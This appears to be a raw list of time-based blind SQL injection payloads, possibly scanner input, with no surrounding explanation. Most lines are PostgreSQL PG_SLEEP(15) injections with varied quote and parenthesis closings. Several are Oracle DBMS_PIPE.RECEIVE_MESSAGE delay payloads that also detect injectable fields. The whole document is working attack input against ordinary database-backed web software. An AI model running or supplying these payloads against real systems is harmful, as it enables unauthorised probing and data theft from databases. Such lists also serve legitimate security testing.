555-1 OR 264=(SELECT 264 FROM PG_SLEEP(15))--

555-1) OR 129=(SELECT 129 FROM PG_SLEEP(15))--

555-1)) OR 844=(SELECT 844 FROM PG_SLEEP(15))--

55558HD4j8j' OR 188=(SELECT 188 FROM PG_SLEEP(15))--

555quLFT3ez') OR 747=(SELECT 747 FROM PG_SLEEP(15))--

555iuhEcViK')) OR 138=(SELECT 138 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555